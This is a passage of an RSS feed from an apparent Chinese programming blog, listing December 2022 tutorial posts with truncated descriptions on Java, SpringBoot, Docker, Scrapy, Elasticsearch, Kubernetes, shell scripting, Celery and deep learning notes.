      <title>基于Java的贪吃蛇小游戏</title>
      <link>https://bchobby.github.io/posts/38b74d4c934665620ebecbcc53b1f124/</link>
      <pubDate>Thu, 08 Dec 2022 10:56:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38b74d4c934665620ebecbcc53b1f124/</guid>
      <description>一、开发思路&#xA;设定一个一定大小的且大小不可变的游戏窗口&#xA;在创建的窗口上绘制游戏的基本面板样式&#xA;使用提前保存的素材图标绘制一条静态的小蛇&#xA;使小蛇能够移动；实际只需蛇头坐标移动，每节身体覆盖前一节身体坐标，设置定时器Timer timer =new Timer();监听时间让小蛇能移动&#xA;监听键盘操作，使用户能通过键盘控制蛇的方向&#xA;定义一个食物坐标，用random随机数类实现食物随机生成&#xA;小蛇吃到食物时身体长度+1，实际是蛇头坐标与食物坐标重合时&#xA;boolean定义游戏失败的判断，当蛇头与任何身体部位坐标重合（或撞到边界）则游戏失败，可再设置积分系统，每吃到一次食物加一定分数&#xA;二 新建一个Data类，作为图片资源&#xA;package snake; import java.net.URL; import javax.swing.ImageIcon; public class Data { public static URL headerURL = Data.class.getResource(&#34;/statics/header.png&#34;); public static ImageIcon header; static { assert headerURL != null; header = new ImageIcon(headerURL); } public static URL upURL = Data.class.getResource(&#34;/statics/up.png&#34;); public static URL downURL = Data.class.getResource(&#34;/statics/down.png&#34;); public static URL leftURL = Data.class.getResource(&#34;/statics/left.png&#34;); public static URL rightURL = Data.class.getResource(&#34;/statics/right.png&#34;); public static ImageIcon up = new ImageIcon(upURL); public static ImageIcon down = new ImageIcon(downURL); public static ImageIcon left = new ImageIcon(leftURL); public static ImageIcon right = new ImageIcon(rightURL); public static URL bodyURL = Data.</description>
    </item>
    <item>
      <title>SpringBoot整合`AOP`实现日志功能</title>
      <link>https://bchobby.github.io/posts/a94de7e01955fd8d7355630144ee42b6/</link>
      <pubDate>Thu, 08 Dec 2022 08:05:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a94de7e01955fd8d7355630144ee42b6/</guid>
      <description>SpringBoot整合AOP实现日志功能 1.引入依赖 &amp;lt;!--aop--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--json--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.71&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.创建自定义的工具类 标题2.1BusinessType枚举类 package com.yurui.manage_system_springboot.utils; /** * @Author YurUi * @Version 1.0 */ /** * 业务操作类型 */ public enum BusinessType { /** * 其它 */ OTHER, /** * 查询 */ SELECT, /** * 新增 */ INSERT, /** * 修改 */ UPDATE, /** * 删除 */ DELETE, /** * 授权 */ ASSGIN, /** * 导出 */ EXPORT, /** * 导入 */ IMPORT, /** * 强退 */ FORCE, /** * 更新状态 */ STATUS, /** * 清空数据 */ CLEAN, } 2.</description>
    </item>
    <item>
      <title>docker镜像学习</title>
      <link>https://bchobby.github.io/posts/f9278d4f101b640d32e4990b0d151086/</link>
      <pubDate>Thu, 08 Dec 2022 00:50:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9278d4f101b640d32e4990b0d151086/</guid>
      <description>0 目录 创建镜像方法 (docker commit; Dockerfile)&#xA;特性 （缓存（生成镜像，下载镜像），kernel共用，分层， copy-on-write，&#xA;Dockerfile指令执行方式（shell和exec格式）&#xA;RUN CMD ENTRYPOINT区别&#xA;本地registry搭建&#xA;思考&#xA;1 创建镜像方法 (docker commit; Dockerfile) 1.1 docker commit 将当前运行的容器作为一个镜像并生成&#xA;运行一个容器&#xA;打开一个新命令行，docker ps查正在运行的容器，选择一个容器的names列&#xA;运行docker commit strange_jones my_image，执行完了这个容器就生成了一个镜像&#xA;1.2 Dockerfile 类似于通过一个脚本生成镜像，脚本叫Dockerfile，先找一个路径，路径里面创建Dockerfile（D大写），Dockerfile里写命令，写完了docker build -t my_images my_context_path my_context_path如果为当前目录就写个.&#xA;2 特性 2.1 缓存 生成镜像和下载镜像时逐层生成镜像，如果有相同命令就用上次的镜像作为自己的镜像，不需要再弄个新镜像曾浪费资源&#xA;2.2 kernel共用 即一个主机即使有多个镜像，但每个镜像用的都是镜像所在host的kernel&#xA;2.3 分层 镜像下载，生成时都是分层弄得，Dockerfile每条命令会把当前的镜像复制个临时镜像，然后以这个新镜像为base镜像执行命令，把执行完命令的作为新镜像，删掉以前的镜像。镜像这样逐层累加最后生成目标镜像&#xA;2.4 copy-on-write 1. 对容器的修改不会修改镜像，因为镜像一般是只读&#xA;2 写操作在镜像最上层会有一层容器可写层，一些写操作会在这层可写层记录，而不会修改那些镜像层&#xA;3 如果镜像的多个镜像层存在相同文件，以最上层镜像文件为准，即容器内的这个文件是最上层镜像的这个文件，而不是再往底下的镜像的同名文件&#xA;3 Dockerfile指令执行方式（shell和exec格式） 3.1 shell dockerfile中shell格式命令长这样&#xA;RUN apt-get update&#xA;CMD echo $vara</description>
    </item>
    <item>
      <title>Python常用英语词汇</title>
      <link>https://bchobby.github.io/posts/26676b1750fb9bca2bda4da9a0b11cda/</link>
      <pubDate>Wed, 07 Dec 2022 22:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26676b1750fb9bca2bda4da9a0b11cda/</guid>
      <description>第一类 :交互式环境与Python输出&#xA;1.python:打印/输出&#xA;2.coding:编码&#xA;3.syntax:语法&#xA;4.error:错误&#xA;5.invalid:无效&#xA;6.identifier:名称/标识符&#xA;7.character:字符&#xA;第二类 :字符串的操作&#xA;1.user:用户&#xA;2.name:姓名/名称&#xA;3.attribute:字段/属性&#xA;4.value:值&#xA;5.key:键&#xA;第三类 :重复/转换/替换/原始字符串&#xA;1.upper:上面&#xA;2.lower:下面&#xA;3.capitalize:用大写字母写或印刷&#xA;4.title:标题&#xA;5.replace:替换&#xA;6.old:旧的&#xA;7.new:新的&#xA;8.count:计数&#xA;9.swap:互换&#xA;10.case:情形&#xA;11.path:路径&#xA;12.new:新的/新建&#xA;13.project:项目&#xA;14.test:测试&#xA;15.file:文件&#xA;16.data:数据&#xA;第四类 :去除/查询/计数&#xA;1.strip:去除&#xA;2.index:索引&#xA;3.find:查找&#xA;4.count:计数&#xA;5.start:开始&#xA;6.end:结束&#xA;7.char:字符&#xA;8.sub:附属&#xA;第五类 :获取输入/格式化&#xA;1.input:输入&#xA;2.prompt:提示&#xA;3.ID:身份证&#xA;4.format:格式化&#xA;5.args (argument):参数&#xA;6.kwargs:关键字参数&#xA;7.year:年&#xA;8.month:月&#xA;9.day:日&#xA;第六类 :元组&#xA;1.tuple:元组&#xA;2.Max:最大&#xA;3.min:最小&#xA;4.iterable:可迭代&#xA;5.key:关键字&#xA;6.function:方法/函数&#xA;7.stop:停止&#xA;8.object:对象&#xA;第七类 :列表&#xA;1.list:列表</description>
    </item>
    <item>
      <title>scrapy框架了解与使用</title>
      <link>https://bchobby.github.io/posts/7b3c9d3f0996105c45e2618f6fbebb9e/</link>
      <pubDate>Wed, 07 Dec 2022 18:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b3c9d3f0996105c45e2618f6fbebb9e/</guid>
      <description>scrapy介绍与安装 Scrapy 是开源和协作的一个基于 Twisted 实现的异步处理爬虫框架使用纯 Python 语言编写，被誉为爬虫界的Django，Scrapy 框架应用广泛，常用于数据采集、网络监测，以及自动化测试等&#xA;Scrapy安装 mac、linux系统&#xA;pip install scrapy 在Windows中可能会出现报错等情况这是因为依赖没有安装需要先安装相关依赖&#xA;1.pip install scrapy # 报错安装下面依赖 2、pip3 install wheel #安装后，便支持通过wheel文件安装软件 xx.whl 3、pip3 install lxml 4、pip3 install pyopenssl 5、下载并安装pywin32：https://sourceforge.net/projects/pywin32/files/pywin32/ 6、下载twisted的wheel文件：http://www.lfd.uci.edu/~gohlke/pythonlibs/#twisted 7、执行pip3 install 下载目录\Twisted-17.9.0-cp36-cp36m-win_amd64.whl 8、pip3 install scrapy 创建Scrapy爬虫项目 创建爬虫项目：scrapy startproject 项目名 创建爬虫：scrapy genspider 名字 网址 启动爬虫：scrapy crawl 爬虫名字 --nolog 在pycharm中运行&#xA;# 新建run.py from scrapy.cmdline import execute execute([&#39;scrapy&#39;, &#39;crawl&#39;, &#39;爬虫名&#39;,&#39;--nolog&#39;]) Scrapy架构工作流程 Scrapy 框架构成组件：&#xA;引擎(EGINE)引擎负责控制系统所有组件之间数据流，并在某些动作发生时触发事件。调度器(SCHEDULER)用来接受引擎发过来的请求，压入队列中，并在引擎再次请求的时候返回，可以想像成一个URL的优先级队列，由它来决定下一个抓取的网址是什么，同时去除重复网址下载器(DOWLOADER)用于下载网页内容，并将网页内容返回给EGINE，下载器是建立在twisted这个高效的异步模型上的爬虫(SPIDERS)开发人员自定义的类，用来解析responses，并且提取items，或者发送新的请求项目管道(ITEM PIPLINES)在items被提取后负责处理它们，主要包括清理、验证、持久化(比如存到数据库)等操作下载中间件(Downloader Middlewares)位于Scrapy引擎和下载器之间，主要用来处理从EGINE传到DOWLOADER的请求request，已经从DOWNLOADER传到EGINE的响应response，可用该中间件做一下几件事：设置请求头，设置cookie，使用代理，集成selenium爬虫中间件(Spider Middlewares)位于EGINE和SPIDERS之间，主要工作是处理SPIDERS的输入(即responses)和输出(即requests) Scrapy 工作流程示意图如下所示：</description>
    </item>
    <item>
      <title>[SCI][计算机视觉][图像处理]一二三四区期刊（自用）</title>
      <link>https://bchobby.github.io/posts/9a45f0cd59e5d4923fd2624ba1de8f2c/</link>
      <pubDate>Wed, 07 Dec 2022 17:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a45f0cd59e5d4923fd2624ba1de8f2c/</guid>
      <description>COMPUTER-AIDED DESIGN&#xA;影响因子：3.652/Q1&#xA;平均审稿速度：3.0个月&#xA;Artificial Intelligence Review&#xA;影响因子：9.588/Q1&#xA;平均审稿速度：5.3个月&#xA;Computer Vision And Image Understanding&#xA;影响因子：4.886/Q1&#xA;平均审稿速度：14.0个月&#xA;APPLIED INTELLIGENCE&#xA;影响因子：5.019/Q2&#xA;平均审稿速度：4-8周&#xA;NEUROCOMPUTING&#xA;影响因子：5.779/Q2&#xA;平均审稿速度：&#xA;PATTERN RECOGNITION LETTERS&#xA;影响因子：4.757/Q2&#xA;平均审稿速度：&#xA;IET Computer Vision&#xA;影响因子：1.484/Q4&#xA;平均审稿速度：&#xA;COMPUTATIONAL INTELLIGENCE&#xA;影响因子：2.142/Q3&#xA;平均审稿速度：&#xA;International Journal of Pattern Recognition and Artificial Intelligence&#xA;影响因子：1.261/Q4&#xA;平均审稿速度：&#xA;International Journal of Machine Learning and Cybernetics&#xA;影响因子：4.377/Q2&#xA;平均审稿速度：&#xA;MultiMedia Tools and Applications&#xA;影响因子：2.577/Q2&#xA;平均审稿速度：4.8个月&#xA;Pattern Analysis and Applications&#xA;影响因子：2.307/Q3&#xA;平均审稿速度：7.5个月&#xA;Visual Computer</description>
    </item>
    <item>
      <title>Calendar日期操作</title>
      <link>https://bchobby.github.io/posts/76c81ff5424b561c2594cb04890128b1/</link>
      <pubDate>Wed, 07 Dec 2022 17:05:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76c81ff5424b561c2594cb04890128b1/</guid>
      <description>Calendar calendar = Calendar.getInstance();&#xA;//获取当前年份&#xA;int year = calendar.get(Calendar.YEAR);&#xA;//获取当前月份&#xA;int month = calendar.get(Calendar.MONTH) + 1;&#xA;//获取本月天数&#xA;int days= calendar.getActualMaximum(Calendar.DATE)&#xA;SimpleDateFormat dateFormat= new SimpleDateFormat(&#34;yyyy-MM-dd&#34;);&#xA;// 获取当前时间&#xA;String today = dateFormat.format(calendar.getTime());&#xA;// 获取本月第一天&#xA;calendar.add(Calendar.MONTH, 0);&#xA;calendar.set(Calendar.DAY_OF_MONTH, 1);&#xA;String fristDay = dateFormat.format(calendar.getTime());&#xA;private static final SimpleDateFormat SDF_YMD = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;);&#xA;// 获取age个月前的第一天&#xA;private String getFirstDayOfMonthAge(Integer age) {&#xA;Calendar calendar = Calendar.getInstance();&#xA;calendar.add(Calendar.MONTH, age);&#xA;calendar.set(Calendar.DAY_OF_MONTH, 1);&#xA;return SDF_YMD.format(calendar.getTime());&#xA;}&#xA;// 获取age个月前的最后一天&#xA;private String getLastDayOfMonthAge(Integer age) {</description>
    </item>
    <item>
      <title>分布式搜索引擎Elasticsearch（概念、索引库、文档、RestAPI）</title>
      <link>https://bchobby.github.io/posts/858193018c880a68e7c0727dc9a9371f/</link>
      <pubDate>Wed, 07 Dec 2022 16:57:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/858193018c880a68e7c0727dc9a9371f/</guid>
      <description>目录&#xA;了解Elasticsearch&#xA;ELK(elastic stack)技术栈&#xA;elasticsearch和lucene&#xA;倒排索引&#xA;正向和倒排&#xA;ES的一些概念【文档、字段、索引、映射】&#xA;mysql与elasticsearch&#xA;分词器&#xA;索引库操作【相当于数据库表】&#xA;mapping映射属性【相当于表的结构】&#xA;索引库的CRUD【Kibana编写DSL方式】&#xA;快速查询CRUD&#xA;创建索引库和映射&#xA;查询索引库&#xA;修改索引库&#xA;删除索引库&#xA;文档操作【Kibana编写DSL方式】&#xA;快速查询CRUD&#xA;新增文档&#xA;查询文档&#xA;删除文档&#xA;修改文档&#xA;全量修改&#xA;增量修改&#xA;RestAPI&#xA;mapping映射分析&#xA;特殊字段【location、all、copy_to 】&#xA;JavaRestClient操作流程【针对索引库、文档】&#xA;了解Elasticsearch elasticsearch是一款非常强大的开源搜索引擎，具备非常多强大功能，可以帮助我们从海量数据中快速找到需要的内容&#xA;ELK(elastic stack)技术栈 elasticsearch结合kibana（数据可视化）、Logstash和Beats（数据抓取），也就是elastic stack（ELK）。被广泛应用在日志数据分析、实时监控等领域。&#xA;而elasticsearch是elastic stack的核心，负责存储、搜索、分析数据。&#xA;elasticsearch和lucene elasticsearch底层是基于lucene来实现的，lucene是Apache的开源搜索引擎类库，提供了搜索引擎的核心API&#xA;倒排索引 倒排索引的概念是基于MySQL这样的正向索引而言的&#xA;正向索引是逐行扫描，也就是全表扫描，随着数据量增加，其查询效率也会越来越低。当数据量达到数百万时，就是一场灾难。&#xA;倒排索引中有两个非常重要的概念：&#xA;文档（Document）：用来搜索的数据，其中的每一条数据就是一个文档。例如一个网页、一个商品信息&#xA;词条（Term）：对文档数据或用户搜索数据，利用某种算法分词，得到的具备含义的词语就是词条。例如：我是中国人，就可以分为：我、是、中国人、中国、国人这样的几个词条&#xA;创建倒排索引是对正向索引的一种特殊处理，流程如下：&#xA;将每一个文档的数据利用算法分词，得到一个个词条创建表，每行数据包括词条、词条所在文档id、位置等信息因为词条唯一性，可以给词条创建索引，例如hash表结构索引 如图：&#xA;倒排索引的搜索流程如下（以搜索&#34;华为手机&#34;为例）：&#xA;正向和倒排 那么为什么一个叫做正向索引，一个叫做倒排索引呢？&#xA;正向索引是最传统的，根据id索引的方式。但根据词条查询时，必须先逐条获取每个文档，然后判断文档中是否包含所需要的词条，是根据文档找词条的过程。&#xA;而倒排索引则相反，是先找到用户要搜索的词条，根据词条得到保护词条的文档的id，然后根据id获取文档。是根据词条找文档的过程。&#xA;是不是恰好反过来了？&#xA;那么两者方式的优缺点是什么呢？&#xA;正向索引：&#xA;优点： 可以给多个字段创建索引根据索引字段搜索、排序速度非常快缺点： 根据非索引字段，或者索引字段中的部分词条查找时，只能全表扫描。 倒排索引：&#xA;优点： 根据词条搜索、模糊搜索时，速度非常快缺点： 只能给词条创建索引，而不是字段无法根据字段做排序 ES的一些概念【文档、字段、索引、映射】 1.【文档】：elasticsearch是面向文档（Document）存储的，可以是数据库中的一条商品数据，一个订单信息。文档数据会被序列化为json格式后存储在elasticsearch中。&#xA;2.【字段】：Json文档中往往包含很多的字段（Field），类似于数据库中的列。&#xA;3.【索引】：就是相同类型的文档的集合。例如：所有用户文档，就可以组织在一起，称为用户的索引。因此，我们可以把索引当做是数据库中的表。</description>
    </item>
    <item>
      <title>4.Hive 查询出错 Exception in thread “main“ java.lang.IncompatibleClassChangeError</title>
      <link>https://bchobby.github.io/posts/08ae423de056a6ed2cd6c93c4a65e48c/</link>
      <pubDate>Wed, 07 Dec 2022 13:25:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08ae423de056a6ed2cd6c93c4a65e48c/</guid>
      <description>Hive和Hadoop里面guava jar包的版本兼容性问题导致的hive 查询失败&#xA;1.在hive 里面做查询，出错了&#xA;hive&amp;gt; select * from struct_score; Exception in thread &#34;main&#34; java.lang.IncompatibleClassChangeError: Class com.google.common.&#xA;collect.ImmutableSortedMap does not implement the requested interface java.util.NavigableMap&#xA;at org.apache.calcite.schema.Schemas.gatherLattices(Schemas.java:498)&#xA;2.原因&#xA;guava jar包在hadoop 里面和在hive 里面不兼容。&#xA;[hadoop@big81 current]$ ll /data02/apache-hive-3.1.2-bin/lib/guava-19.0.jar&#xA;-rw-r--r-- 1 hadoop hadoop 2308517 Apr 23 12:03 /data02/apache-hive-3.1.2-bin/lib/guava-19.0.jar&#xA;[hadoop@big81 current]$ ll /data02/hadoop/share/hadoop/common/lib/guava-11.0.2.jar&#xA;-rw-r--r-- 1 hadoop hadoop 1648200 Jan 12 17:58 /data02/hadoop/share/hadoop/common/lib/guava-11.0.2.jar&#xA;hive3.1.2里面默认的guava版本是：19.0&#xA;Hadoop3.1.1 里面的guava版本是：11.0.2 。我是将hadoop里面的guava-11.0.2.jar 复制到了hive里面去。所以报错，hive里面保持默认的版本guava-19.0.jar 可以。hadoop里面使用guava-11.0.2.jar&#xA;就正常了。&#xA;3.查询验证&#xA;hive&amp;gt; select * from score;</description>
    </item>
    <item>
      <title>Kubernetes常用命令</title>
      <link>https://bchobby.github.io/posts/da8ee25f3c81c949a53a03e88deeb802/</link>
      <pubDate>Wed, 07 Dec 2022 12:40:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da8ee25f3c81c949a53a03e88deeb802/</guid>
      <description>node&#xA;1、获取所有节点&#xA;kubectl get nodes&#xA;2、删除节点&#xA;在master节点执行以下命令即可删除&#xA;# 先卸载节点，但是还未删除&#xA;kubectl drain node1 --delete-local-data --force --ignore-daemonsets&#xA;# 删除节点&#xA;kubectl delete node node2&#xA;还需要在work节点上执行以下命令来清空ini配置&#xA;kubeadm reset&#xA;3、加入节点&#xA;先在主节点创建令牌&#xA;# 执行后会返回一个 kubeadm 开头的命令&#xA;kubeadm token create --print-join-command&#xA;#然后在需要加入集群的节点中执行令牌，注意这里的命令是通过kubeadm token create --print-join-command命令返回的结果&#xA;# 在工作节点上执行以下命令即可加入集群&#xA;kubeadm join cluster-endpoint:6443 --token xxx.xxx --discovery-token-ca-cert-hash sha256:xxx&#xA;namespace&#xA;1、获取所有namespace&#xA;# 第一种用法&#xA;[root@master ~]# kubectl get namespaces&#xA;NAME STATUS AGE&#xA;default Active 16h # 所有未指定namespace的对象都会被分配在default空间&#xA;kube-node-lease Active 16h # 集群节点之间的心跳维护，v1.13开始引入</description>
    </item>
    <item>
      <title>Shell变量替换</title>
      <link>https://bchobby.github.io/posts/87f263610103311672727a1dcd1741ca/</link>
      <pubDate>Wed, 07 Dec 2022 10:06:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87f263610103311672727a1dcd1741ca/</guid>
      <description>变量替换总结：&#xA;1、${变量#匹配规则} #从头开始匹配，最短删除&#xA;2、${变量##匹配规则} #从头开始匹配，最长删除&#xA;3、${变量%匹配规则} #从尾开始匹配，最短删除&#xA;4、${变量%%匹配规则} #从尾开始匹配，最长删除&#xA;5、${变量/旧字符串/新字符串} #替换变量内旧的字符串为新字符串，自替换第一个&#xA;6、${变量//旧字符串/新字符串} #替换变量内旧的字符串为新字符串，全部替换&#xA;例子1：&#xA;var1=&#34;I love you,Do you love me&#34;&#xA;[root@k8smaster shell]# var2=${var1#*ov} [root@k8smaster shell]# echo $var2&#xA;e you,Do you love me&#xA;[root@k8smaster shell]# var2=${var1##*ov}&#xA;[root@k8smaster shell]# echo $var2&#xA;e me&#xA;[root@k8smaster shell]# var3=${var1%ov*}&#xA;[root@k8smaster shell]# echo $var3&#xA;I love you,Do you l&#xA;[root@k8smaster shell]# var3=${var1%%ov*}&#xA;[root@k8smaster shell]# echo $var3&#xA;I l&#xA;[root@k8smaster shell]# var4=${PATH/bin/BIN}&#xA;[root@k8smaster shell]# echo $var4</description>
    </item>
    <item>
      <title>李宏毅深度学习笔记——呕心整理版</title>
      <link>https://bchobby.github.io/posts/b3f1110576e4a3f2e5630a06e9bd771f/</link>
      <pubDate>Tue, 06 Dec 2022 21:33:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3f1110576e4a3f2e5630a06e9bd771f/</guid>
      <description>李宏毅深度学习笔记——呕心整理版 闲谈叨叨叨:&#xA;之前看过吴恩达的一部分课程，所以有一定理论基础，再看李宏毅的课程会有新的理解。我先以有基础的情况写完学习过程，后续再以零基础的角度补充细节概念（估计不会啦，因为懒~）。长篇预警！可以慢慢看。多数只是自己的笔记，不会太有语言的概念解释，建议自己看一遍视频（往后字可能会越来越多，听我慢慢叨咕吧）。笔记只是提供回忆、巩固理解的工具。若有问题，欢迎评论讨论，有时间我会改正哒！&#xA;经过我多年学习经验（没有啦~），预习真的很重要，其实更多是重复记忆，加深理解。我的建议是先看吴恩达的课程了解机器学习和深度学习的基本知识框架和概念，还有理论推导，理解就可以，这就相当于预习；然后看李宏毅的课程，换个思路，以实际应用加深理解，就会感觉吴恩达的课程缘由不太清楚的自然而然就通了；看李宏毅的课程同时，看刘二大人的pytorch课程，动手操作，学会后完成李宏毅的作业；pytorch需要线性代数和概率论（这些课上要好好学，忘了的可以速学一下考研课程）以及python基础，我会整理一些推荐课程和学习路线。&#xA;关于李宏毅课程的视频顺序，我大多是先看2021年，用2022年视频作为补充，快速过一遍，选修部分也看。视频链接还有一位大佬整理的资源我会附在正文的引入部分。&#xA;目录附上：&#xA;文章目录 李宏毅深度学习笔记——呕心整理版1 引入1.1 机器学习&amp;amp;深度学习1.2 课程规划1.3 机器学习例子1.3.1 训练过程（training）1.3.2 改进（很牛逼，建议有基础后回看）1.3.3 激活函数1.3.4 神经网络Neural Network 1.4 深度学习简介1.4.1 反向传播（back propagation）1.4.2 回归 Regression1.4.3 分类（classification）1.4.4 逻辑回归（Logistic Regression） 1.5 Homework 2 优化分析2.1 局部最小值（local minima）与鞍点（saddle point）2.2 批次（Batch）与动量（Momentum）2.3 自动调整学习率 (Learning Rate)2.4 损失函数（Loss）也会有影响2.5 批次标准化（Batch Normalization）2.6 深度学习 3 卷积神经网络（CNN）3.1 卷积神经网络（CNN)3.2 Spatial Transformer Layer 4 自注意力机制（Self-attention）4.1 引入4.2 self-attention4.3 Multi-head Self-attention 5 Transformer 正片开始： 1 引入 视频资料整理：李宏毅2021&amp;amp;2022机器学习视频：2022-机器学习相关规定 1.1 机器学习&amp;amp;深度学习 机器学习就是寻找一个复杂函数。&#xA;深度学习的函数就是类神经网络。&#xA;函数的输入可以是向量、矩阵、序列等等；函数的输出可以是数值（称为regression 回归）、类别（classification 分类）、文本、图片等等 回归 regression：&#xA;分类 classification：</description>
    </item>
    <item>
      <title>celery介绍与使用</title>
      <link>https://bchobby.github.io/posts/2ea528d6f0572023c3609ca0d8a7e9f7/</link>
      <pubDate>Tue, 06 Dec 2022 19:48:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ea528d6f0572023c3609ca0d8a7e9f7/</guid>
      <description>一.celery介绍 celery作用 1.celery可以实现异步任务来提高项目的并发量，完成延迟任务、定时任务&#xA;2.celery是一个简单、灵活、可靠的分布式系统，用于处理大量消息，同时为操作提供维护此类系统所需的工具&#xA;celery架构 1.消息中间件：broker 提交的任务（函数）都放到这里，celery本身不提供中间件，需要借助于第三方：redis,rabbitmq&#xA;2.任务执行单元：worker，真正执行任务的地方，一个个进程，执行函数&#xA;3.结果存储：backend,函数return的结果存储在这里，celery本身不提供结果存储，借助于第三方：redis，数据库，rabbitmq&#xA;celery特点 celery是独立的服务&#xA;1.可以不依赖任何服务器，通过自身命令，启动&#xA;2.celery服务为其他项目服务提供异步解决任务需求的&#xA;注意：会有两个服务同时运行，一个是项目服务，一个是celery服务，项目服务将需要异步处理的任务交给celery服务，celery就会在需要时异步完成项目的需求&#xA;二.celery快速使用 1.安装模块&#xA;官方介绍：Celery is a project with minimal funding, so we don’t support Microsoft Windows. Please don’t open any issues related to that platform(不支持windows，请不要打开与该平台相关的任何问题)&#xA;pip install celery pip install eventlet # Windows系统需安装 2.使用步骤&#xA;新建包：celery_task&#xA;-在包先新建一个 celery.py&#xA;-在里面写app的初始化&#xA;-在包里新建app_task.py 编写相关任务 -其它程序，提交任务&#xA;-启动worker ---》它可以先启动，在提交任务之前--&amp;gt;包所在的目录下&#xA;celery -A celery_task worker -l info -P eventlet&#xA;-查看任务执行的结果了&#xA;&#39;&#39;&#39;celery_task/celery.py&#39;&#39;&#39; from celery import Celery backend = &#39;redis://127.</description>
    </item>
    <item>
      <title>idea常用快捷键汇总</title>
      <link>https://bchobby.github.io/posts/25f1a6f120f8b27e3cd951ebc1c8e51c/</link>
      <pubDate>Tue, 06 Dec 2022 18:12:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25f1a6f120f8b27e3cd951ebc1c8e51c/</guid>
      <description>idea常用快捷键汇总 厉害的提示 ctrl+alt+v&#xA;shift+f6 多处修改&#xA;5.fori —for循环（int i=0；i&amp;lt;5）&#xA;fori 是正序 forr 是倒序&#xA;数组名称.fori —（int i=0; i&amp;lt;数组名称.length）&#xA;psvm :Mian函数&#xA;ctrl+r：替换&#xA;打开多行输入&#xA;选中文件夹，alt + insert 创建类&#xA;ctrl——f12 查看类中的方法列表&#xA;ctrl h 查看接口的实现类&#xA;ctrl f 替换查找&#xA;CTRL + ALT + O “优化导入”&#xA;ALT +回车 和eclipse的ctrl+1功能一样，提示&#xA;Ctrl+alt+l 格式化&#xA;sout:打印&#xA;提取重复代码到方法：Ctrl+Alt+m&#xA;Ctrl+shift+f10:启动&#xA;Ctrl+Alt+T`，可以把代码包在一个块内，例如：`try/catch debug调试：&#xA;f7 可以进入到被嵌入的方法内部f8 不进入到被嵌入的方法内部f9 跳到第二个断点的位置 Ctrl+d:复制当前行到下一行&#xA;先 alt + F3, 然后使用 F3 或 shift + F3, 上下移动 ：查找相同变量&#xA;在new Object()括号中按ctrl p:关于构造函数的提示&#xA;Foreach :Ctrl+j iter | fori</description>
    </item>
    <item>
      <title>泰迪云课堂数据分析案例：广电大数据营销推荐项目</title>
      <link>https://bchobby.github.io/posts/e9e389c0921a07d671e195d9a6b0926f/</link>
      <pubDate>Tue, 06 Dec 2022 17:24:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9e389c0921a07d671e195d9a6b0926f/</guid>
      <description>泰迪云课堂数据分析案例：广电大数据营销推荐项目，通过学习本案例，可掌握缺失值和重复值处理的常用方法，熟悉绘制pyplot图形进行探索分析的方法，并可以构建相关特征和推荐模型，为后续相关课程学习及将来从事数据分析工作奠定基础。 随着经济的不断发展，人民的生活水平显著提高，对生活质量的要求也在提高。广电为了提升自身的竞争力，需要不断提高用户体验，基于已有数据挖掘其价值。本案例以产品信息数据为数据源，通过对数据进行预处理，然后再通过可视化直观的展示数据情况，再进行用户画像的构建最后进行算法模型的构建与分析。&#xA;广电大数据营销推荐项目案例主要分析目标包括：1、通过深入整合用户的相关行为信息，构建用户收视偏好统一视图；2、利用产品信息数据，针对用户提供个性化精准推荐服务，有效提升用户的转化和生命周期价值。&#xA;在学习过程中，技术要点包括: pyplot图形绘制；Simple TagBased TF-IDF算法；Popular流行度推荐模型等&#xA;数据分析案例：广电大数据营销推荐项目学习目录包括以下几个方面：&#xA;案例知识讲解及数据代码&#xA;包括：案例知识讲解；数据介绍与探索；数据预处理；数据可视化；构建标签库；用户画像构建等。另外在课程最后会附上课程配套数据、代码及PPT。&#xA;建议学习数据分析案例：广电大数据营销推荐项目前，先学习Python编程基础、Python数据分析与应用、Python数据可视化、Python机器学习实战等</description>
    </item>
    <item>
      <title>Kafka（二）- Kafka集群部署</title>
      <link>https://bchobby.github.io/posts/892de055a86829afc70f72965e66bf88/</link>
      <pubDate>Tue, 06 Dec 2022 17:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/892de055a86829afc70f72965e66bf88/</guid>
